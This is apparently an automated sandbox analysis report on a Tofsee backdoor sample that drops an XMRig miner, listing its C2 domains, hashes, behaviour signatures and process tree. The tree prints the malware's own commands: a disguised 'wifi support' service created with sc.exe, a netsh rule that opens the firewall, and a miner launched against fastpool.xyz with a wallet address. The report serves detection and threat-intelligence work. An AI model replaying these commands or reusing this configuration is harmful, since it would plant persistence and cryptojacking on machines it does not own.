Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/01/2023, 17:09

General

  • Target
    file.exe
  • Size 278KB
  • Sample230110-vn422ace4y
  • SHA256 6ed07ed8bb699d989de341e58ed511b99844039813fd353fff152c70713e2856
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1400
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ilvemzlx\
      2⤵
        PID:532
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\whdizset.exe" C:\Windows\SysWOW64\ilvemzlx\
        2⤵
          PID:2468
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ilvemzlx binPath= "C:\Windows\SysWOW64\ilvemzlx\whdizset.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2856
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ilvemzlx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3196
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ilvemzlx
          2⤵
          • Launches sc.exe
          PID:4128
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4904
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1400 -s 1044
          2⤵
          • Program crash
          PID:1256
      • C:\Windows\SysWOW64\ilvemzlx\whdizset.exe
        C:\Windows\SysWOW64\ilvemzlx\whdizset.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4188
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2060
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4948
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4188 -s 516
          2⤵
          • Program crash
          PID:1560
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1400 -ip 1400
        1⤵
          PID:4848
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4188 -ip 4188
          1⤵
            PID:1128

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                whdizset.exe

                • Path C:\Users\Admin\AppData\Local\Temp\whdizset.exe
                • Size 13.7MB
                • SHA256 8b74f71fc525ffeb85aeada149a30d8488693a26f45dcde1a4611b9b6cec4af2
                • MD5 SHA1 SHA512 SSDEEP

                whdizset.exe

                • Path C:\Windows\SysWOW64\ilvemzlx\whdizset.exe
                • Size 13.7MB
                • SHA256 8b74f71fc525ffeb85aeada149a30d8488693a26f45dcde1a4611b9b6cec4af2
                • MD5 SHA1 SHA512 SSDEEP

                memory/1400-133-0x00000000048F0000-0x0000000004903000-memory.dmp

                memory/1400-134-0x0000000000400000-0x0000000002BAD000-memory.dmp

                memory/1400-132-0x0000000002CED000-0x0000000002CFE000-memory.dmp

                memory/1400-144-0x0000000000400000-0x0000000002BAD000-memory.dmp

                memory/1400-143-0x0000000002CED000-0x0000000002CFE000-memory.dmp

                memory/2060-161-0x00000000023E0000-0x00000000023E5000-memory.dmp

                memory/2060-155-0x00000000023C0000-0x00000000023C6000-memory.dmp

                memory/2060-178-0x0000000000D50000-0x0000000000D65000-memory.dmp

                memory/2060-168-0x00000000023F0000-0x00000000023F7000-memory.dmp

                memory/2060-164-0x0000000007B00000-0x0000000007F0B000-memory.dmp

                memory/2060-158-0x00000000023D0000-0x00000000023E0000-memory.dmp

                memory/2060-147-0x0000000000D50000-0x0000000000D65000-memory.dmp

                memory/2060-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                memory/2060-151-0x0000000000D50000-0x0000000000D65000-memory.dmp

                memory/4188-150-0x0000000000400000-0x0000000002BAD000-memory.dmp

                memory/4188-145-0x0000000002DE9000-0x0000000002DF9000-memory.dmp

                memory/4188-166-0x0000000000400000-0x0000000002BAD000-memory.dmp

                memory/4948-172-0x0000000000970000-0x0000000000A61000-memory.dmp

                memory/4948-177-0x0000000000970000-0x0000000000A61000-memory.dmp